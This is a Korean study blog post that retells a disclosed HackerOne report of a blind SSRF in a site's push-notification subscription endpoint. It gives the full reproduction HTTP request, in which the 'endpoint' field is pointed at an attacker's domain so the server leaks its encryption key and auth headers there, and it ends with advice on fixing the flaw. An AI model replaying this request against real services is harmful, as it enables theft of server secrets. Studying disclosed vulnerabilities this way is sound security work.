본문 바로가기

1-day 취약점 분석

[ 1-Day ] Blind SSRF at https://xxxxx/update_push/

본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다. 

 

분석 레포트

https://hackerone.com/reports/411865

 

Chaturbate disclosed on HackerOne: Blind SSRF at...

 

hackerone.com

 

https://xxxx.com/notifications/update_push/ 애플리케이션에는 제공된 요청을 트리거하는 캠 모델을 구독할 수 있는 기능이 있다. 공격자는 이 요청을 사용하여 SSRF 공격을 실행하고 내부 웹 서버의 민감한 토큰/키를 훔칠 수 있다.

 

Steps to Reproduce

 

https://chaturxxx.com/ 계정에 로그인하거나 제공된 계정을 사용한다.

[ USERNAME-abcdefg, PASSWORD-randommmm ]


이제 프로필을 클릭하거나 요청을 트리거하여 Cookie / CSRF 토큰을 얻을 수 있다. 리피터로 요청을 보내고 제공된 요청으로 대체한다.

 

POST /notifications/update_push/ HTTP/1.1
Host: chaturxxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: /
Accept-Language: en-US,en;q=0.5
Referer: https://chaturxxxx.com/princesscin/
Content-Type: application/x-www-form-urlencoded
X-CSRFToken: YOURCSRFHERE
X-Requested-With: XMLHttpRequest
Content-Length: 408
Cookie: YOURCOOKIEHERE
Connection: close

subscription={"endpoint":"http:\/\/xx\/wpush\/v2\/xxx&unsub=false

 

보시다시피 실제 요청을 서버로 전송할 수 있도록 subscription={"endpoint":"http:\/\/xxxx\/wpush\/v2\/xxx&unsub=false 와 같이 본인의 도메인으로 변경했다. 쿠키와 CSRF 토큰을 위 요청에 넣은 다음 해당 요청을 보낸다. 

 

본인의 URL로 이동하여, CSRF 토큰을 확인한다. 그러면, 암호화 키, 암호화 헤더 및 인증 헤더가 공격자의 악성 사이트로 유출되고 있음을 확인할 수 있다. 이러한 헤더는 유출에 매우 민감하므로, 가능한 빨리 수정해야 한다. 

 

 

Note

 

애플리케이션은 도메인과 함께 URL을 보낼 필요가 없으며, 공격자가 전체 요청을 제어할 수 없도록 URL의 나머지 부분만 보내고, 도메인을 포함하지 않는 것이 안전하다. 

 

Impact


공격자는 이 요청을 사용하여 SSRF 공격을 실행하고 내부 웹 서버의 민감한 토큰/키를 탈취할 수 있다.